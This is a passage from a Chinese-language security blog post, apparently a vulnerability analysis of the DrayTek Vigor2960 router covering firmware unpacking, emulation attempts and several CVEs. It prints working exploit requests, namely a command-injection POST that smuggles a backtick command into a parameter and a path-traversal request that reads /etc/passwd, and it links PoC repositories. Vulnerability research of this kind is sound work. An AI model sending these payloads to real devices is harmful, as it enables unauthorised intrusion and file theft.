<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e62b27f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaFhjKIooiacYWUHpDU8uxuToib7PBE0IjK6rOfpUyUOrTqefL89uvfuXg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=81cbf8f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1LQeicsGtfCGuAq7icq2Iicsd56KmjibuwHB5iaf7Z8EhFWticibnU9qHrO8w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=950b271b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia7umLfDBaXpdGFQhQXOCQCAQ3aZQCtd3pCafd2sqUn81hMwwjFGUX4Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ccf37899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiapvm3m7SrMvzwFEyFzh4Sx2IWUjoJpgHjevGf2umlcgc2JZOn2gZvIQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ddbcaa89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiamLLroD19ydlZR7p4CP2PMD6g60ZXC5B0sfXlYtIqkcXsvzwyP336BA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dd8f91a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaYvMYlH3ySmMtSH9IuFGdZKICxbiagvfXTBXJZtVoicM1a5BlfxXp7Sjg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=584398b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaYbbdbQbicH7Noys2S0xH9svkkA5D1vY6NcZfQczECDBc27MF6EJOVfA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74cf7e63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia0H1BZObv2xtqzdnLRpfHsRRQWCMiacdCbOBBmZewFZmQ2mWGOZYcPAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a2a4b3e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiahUG2WNAh5oKWmaFBDwj7JGH1U97CEXl2OAYrQV6J0JeOx6rUdKdP1g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3746426e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia3lOiaouro8uYnVkoF84byjA5ppTGjkyabTw9JiaGdeFlFAvb4rWVZyvw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=06b60ee4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaTzRKStvk0o3AVNGh1yGXncy4Ic2y17HAnicVDSUhdbcdePd1yqAOz4g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=025fc0ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaKZabjLmRCibKyTntH2Kr95ztP4E0FYQa6JrW4icAX5Hicben4PzrZBPFA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=824e3bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaIibhE9B49F3hQezo6kJzO9QnCcaicIMjvYWOSzN8HIvkfnbJRF0NUAgw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3ee5cce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia3ZhiaMtyibFuCt0tL73icYq6b1wKXJjoTHTEic3qPkQeBKcsxTxRtxsFnQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cb1e0b28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaXOWXHTk2ls26J95Hykib30b6Cky3cwHZlISTRF7ms0EVgH7dhTZx4nA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484049">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f75c1ce1&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247484049%26idx%3D1%26sn%3D611b984b2e084234549d1525e862944c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 11 Nov 2023 15:21:00 +0800</pubDate>
    </item>
    <item>
      <title>某路由器RCE漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483995&amp;idx=1&amp;sn=6306013d788a3ea565c95914eb9e733b</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-10-14 18:30</span> <span style="display: inline-block;">中国香港</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8c04e594&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicwXgDNqvte5WWze9TTicJ2Dnu8abTjib12SicWkxAicXtkJ2rcSnmKKKTyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;margin-top: -10px;font-size: 14px;padding: 10px;"><h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));">下载地址</span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><a href="https://fw.draytek.com.tw/Vigor2960/Firmware/" target="_blank">https://fw.draytek.com.tw/Vigor2960/Firmware/</a></p></li></ul><h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));">使用手册</span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><a href="https://support.formosa.no/DrayTek/Downloads/Vigor2960/Manual/Vigor2960%20%E7%B3%BB%E5%88%97%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8A%20V2.1.pdf" target="_blank">https://support.formosa.no/DrayTek/Downloads/Vigor2960/Manual/Vigor2960%20%E7%B3%BB%E5%88%97%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8A%20V2.1.pdf</a></p></li></ul><h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));">厂商漏洞列表</span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><a href="https://www.draytek.com/about/security-advisory" target="_blank">https://www.draytek.com/about/security-advisory</a></p></li></ul><h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));">架构</span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="text-decoration:line-through;">根据漏洞通告表述为MIPS架构，可通过qemu的system模式搭建模拟系统</span><strong>实际bin下执行文件镜像为arm小端elf文件，拿到shell上传工具需注意平台文件格斯</strong></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1893063583815029" data-s="300,640" style="" data-type="png" data-w="692" src="https://wechat2rss.xlab.app/img-proxy/?k=e266d3c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wic1nng86NXpPvFKwK1E5uic6gZ7Pqc3d5PulwibzrjqT9Jdq23eXT8Vpfg%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));">环境搭建失败</span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">尝试搭建环境但是失败</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.11666666666666667" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d2c84d87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicJOOKYoosEk86Ep4jUbJfFibsx66BWk8J4ZS32ud1EHwgLreRYSah13Q%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">UBI文件格式镜像打包文件</p><pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"> ubireader_extract_images Vigor2960_v1.4.1.all  </p></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">解包释放镜像</p><pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">ubireader_extract_files Vigor2960_v1.4.1.all</p></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">解包释放文件</p><pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">#配置网络，创建网桥sudo apt-get install bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0 192.168.10.1/24 up #创建tap接口，添加到网桥sudo apt install uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0 192.168.10.11/24 upsudo brctl addif Virbr0 tapsudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append &#34;root=/dev/mmcblk0p2&#34; -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic#进入虚拟机后，配置ip地址，测试与主机的连通性ifconfig eth0 192.168.10.2/24 upping 192.168.10.1 -c 10 #回到主机中将squashfs-root文件夹复制到虚拟机scp -r ubifs-root/ root@192.168.10.2:~/mount -o bind /dev ./ubifs-root/devmount -o bind /proc ./ubifs-root/procssh root@192.168.10.2chroot squashfs-root /bin/sh接着启动web服务成功，但未找到vpn全部启动脚本，仅搭建http服务没有任何意义</p></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));">漏洞</span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">最新版本漏洞，疑似CVE-2023-24229</h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">版本要求 1.5.1.4，作者已删除poc,根据谷歌镜像获得</h4><pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">POST /cgi-bin/mainfunction.cgi HTTP/1.1Host: 192.168.1.1Content-Length: 57Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: SESSION_ID_VIGOR=Connection: closeaction=commandTable&amp;command=14&amp;parameter=`touch test.txt`</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">最新版本漏洞，CVE-2023-1009</h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">版本要求</h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">v1.5.1.4</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">根据poc直接在action中找方法</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.07793764988009592" data-s="300,640" style="" data-type="png" data-w="834" src="https://wechat2rss.xlab.app/img-proxy/?k=93f670d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicoPDDumKM3IKcM8sI0A7spu2wdGafzW6SUyHKZ4g2ILliazH89ichF7bQ%2F640%3Fwx_fmt%3Dpng"/></p></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对value写入v6缓冲区和/tmp/拼接未对字符串进行任何处理，任意文件读取</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9070208728652751" data-s="300,640" style="" data-type="png" data-w="527" src="https://wechat2rss.xlab.app/img-proxy/?k=2914bed6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicj8Iibjb78QAaTMEpU6subJPpfYB0WZbM9ymHEmdmM2ZwXZpULF3VAIw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">sub_11B88为向keyword_object.cfg写配置，我们不进入循环，意义不大</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.673728813559322" data-s="300,640" style="" data-type="png" data-w="708" src="https://wechat2rss.xlab.app/img-proxy/?k=fbfa3715&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wic8KJicUf4FGMVqLD73zp3uqDqwh2kZSHPcD5KgDiccB9yJu2Wkd7FJTiaw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/xxy1126/Vuln/blob/main/Draytek/1.md" target="_blank">https://github.com/xxy1126/Vuln/blob/main/Draytek/1.md</a></p><pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">POST /cgi-bin/mainfunction.cgi HTTP/1.1Host: xxxxxxxxContent-Length: 61User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: xxxxxxxxReferer: xxxxxxxxxxAccept-Encoding: gzip, deflateAccept-Language: en,zh-CN;q=0.9,zh;q=0.8Cookie: SESSION_ID_VIGOR=7:26EB81E4EA6DC603661320EBD1C938DCConnection: closeaction=doCfgExport&amp;option=/../etc/passwd-&amp;rtick=1663484341535</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">CVE-2020-8515</h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">版本要求</h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">version&lt;1.5.1</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://cn-sec.com/archives/1423548.html" target="_blank">https://cn-sec.com/archives/1423548.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://www.secpulse.com/archives/166775.html" target="_blank">https://www.secpulse.com/archives/166775.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/" target="_blank">https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">反编译main函数，找到action参数的处理函数</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6649616368286445" data-s="300,640" style="" data-type="png" data-w="391" src="https://wechat2rss.xlab.app/img-proxy/?k=e20bc335&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicEQDocBJTbOn1R8TJTz58MRcbLA7eb0CYwDwufW28micLp7wibY1c5Fqw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">跟进subB3E0</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8146964856230032" data-s="300,640" style="" data-type="png" data-w="313" src="https://wechat2rss.xlab.app/img-proxy/?k=07c8c7b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicacfLEp3oTMMPpSrCZ0qzXVXm6YGUgm0cb63j9BjMHKtPnBS7AicJ8FA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对照off_41408</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3436241610738255" data-s="300,640" style="" data-type="png" data-w="745" src="https://wechat2rss.xlab.app/img-proxy/?k=aae0c50c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicbc63EtibtfrtsGJibJTdfUDyOdHkNtJTKSGOJzMXxOicZPVbnQGYXW54w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6252220248667851" data-s="300,640" style="" data-type="png" data-w="563" src="https://wechat2rss.xlab.app/img-proxy/?k=d9b63022&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicvgul1x1KYVBFPSKojLWKricK44Xt2pg5DRysqykVXnhmwX45JBZcr1Q%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2510402219140083" data-s="300,640" style="" data-type="png" data-w="721" src="https://wechat2rss.xlab.app/img-proxy/?k=f3f3282b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicbxRU6IqHeBkiahR9GM94MbWKX6pvbrI3X6FToPaaqjqsrvDjc6nb37A%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">过check函数然后v40和openssl拼接</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">popen执行命令</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39593114241001565" data-s="300,640" style="" data-type="png" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=194fcf7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wiccj5Jaib0NtpVUavUVdCO9piar6iaq5RHmnEuNeyeGgAth0Fyibicunia0JhQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">poc</h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/imjdl/CVE-2020-8515-PoC" target="_blank">https://github.com/imjdl/CVE-2020-8515-PoC</a></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">CVE-2020-14472</h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">版本要求</h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">version&lt;1.5.1.1</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://nosec.org/home/detail/4631.html" target="_blank">https://nosec.org/home/detail/4631.html</a></p><p 